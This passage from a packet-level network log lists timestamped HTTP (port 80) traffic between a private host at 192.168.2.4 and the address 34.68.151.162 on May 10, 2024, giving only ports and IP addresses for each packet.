May 10, 2024 09:20:58.645447016 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645456076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645457983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645469904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645481110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645492077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645503044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645510912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645510912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645514965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645523071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645528078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645539999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645548105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645551920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645564079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645572901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645576000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645589113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645600080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645610094 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645611048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645625114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645632982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645636082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645647049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645656109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645658970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645669937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645688057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645690918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645690918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645700932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645713091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645724058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645733118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645735025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645745039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645749092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645760059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645771027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645781040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645782948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645793915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645797014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645808935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645817995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645822048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645834923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645845890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645858049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645859957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645867109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645869970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645883083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645889997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645896912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645909071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645920038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645931959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645935059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645945072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645952940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645952940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645957947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645970106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645981073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.645984888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.645992994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646004915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646008968 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646018028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646029949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646040916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646048069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646048069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646053076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646064997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646065950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646076918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646089077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646099091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646100998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646111012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646121979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646132946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646138906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646145105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646156073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646161079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646161079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646167994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646181107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646192074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646203041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646212101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646212101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646214008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646226883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646238089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646249056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646255970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646255970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646274090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646280050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646286964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646298885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646310091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646322012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646332026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646337032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646344900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646356106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646358967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646367073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646378040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646388054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646394968 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646394968 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646400928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646413088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646423101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646428108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646437883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646447897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646450996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646464109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646473885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646485090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646496058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646497011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646505117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646507978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646518946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646529913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646533966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646542072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646553040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646564007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646573067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646573067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646575928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646588087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646599054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646610022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646614075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646622896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646634102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646635056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646635056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646645069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646656036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646660089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646667004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646677971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646688938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646692991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646702051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646712065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646714926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646723986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646734953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646740913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646740913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646747112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646759033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646770000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646780968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646783113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646791935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646791935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646805048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646816015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646826982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646828890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646838903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646850109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646853924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646862984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646872997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646874905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646888018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646888971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646902084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646913052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646923065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646924019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646934986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646943092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646948099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646960974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646966934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646971941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646982908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.646991968 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.646995068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647006989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647016048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647018909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647027969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647032022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647044897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647052050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647056103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647068024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647078037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647084951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647089005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647100925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647110939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647119045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647123098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647130966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647135019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647142887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647146940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647160053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647166967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647170067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647181988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647192955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647201061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647205114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647217035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647224903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647229910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647242069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647252083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647259951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647259951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647264004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647278070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647284985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647289038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647300959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647310019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647314072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647325993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647332907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647336960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647349119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647360086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647361040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647372961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647382975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647383928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647397041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647403955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647408009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647419930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647430897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647442102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647444963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647454023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647461891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647465944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647475958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647480011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647490978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647501945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647511005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647512913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647524118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647526026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647538900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647547007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647550106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647562027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647572994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647583008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647593021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647603989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647614956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647615910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647615910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647628069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647639990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647650957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647659063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647661924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647671938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647674084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647686958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647696972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647696972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647710085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647717953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647722960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647731066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647738934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647751093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647758961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647763014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647774935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647785902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647794962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647799015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647811890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647819996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647823095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647835016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647838116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647849083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647855043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647861004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647871971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647885084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647895098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647895098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647912025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647918940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647922993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647934914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647943974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647948027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647959948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647972107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647973061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647984982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.647991896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.647998095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648006916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648009062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648025990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648034096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648037910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648050070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648055077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648062944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648075104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648083925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648085117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648106098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648118019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648128986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648130894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648139954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648149014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648153067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648163080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648165941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648178101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648188114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648189068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648200035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648206949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.648212910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.648224115 CEST	80	49754	34.68.151.162	192.168.2.4
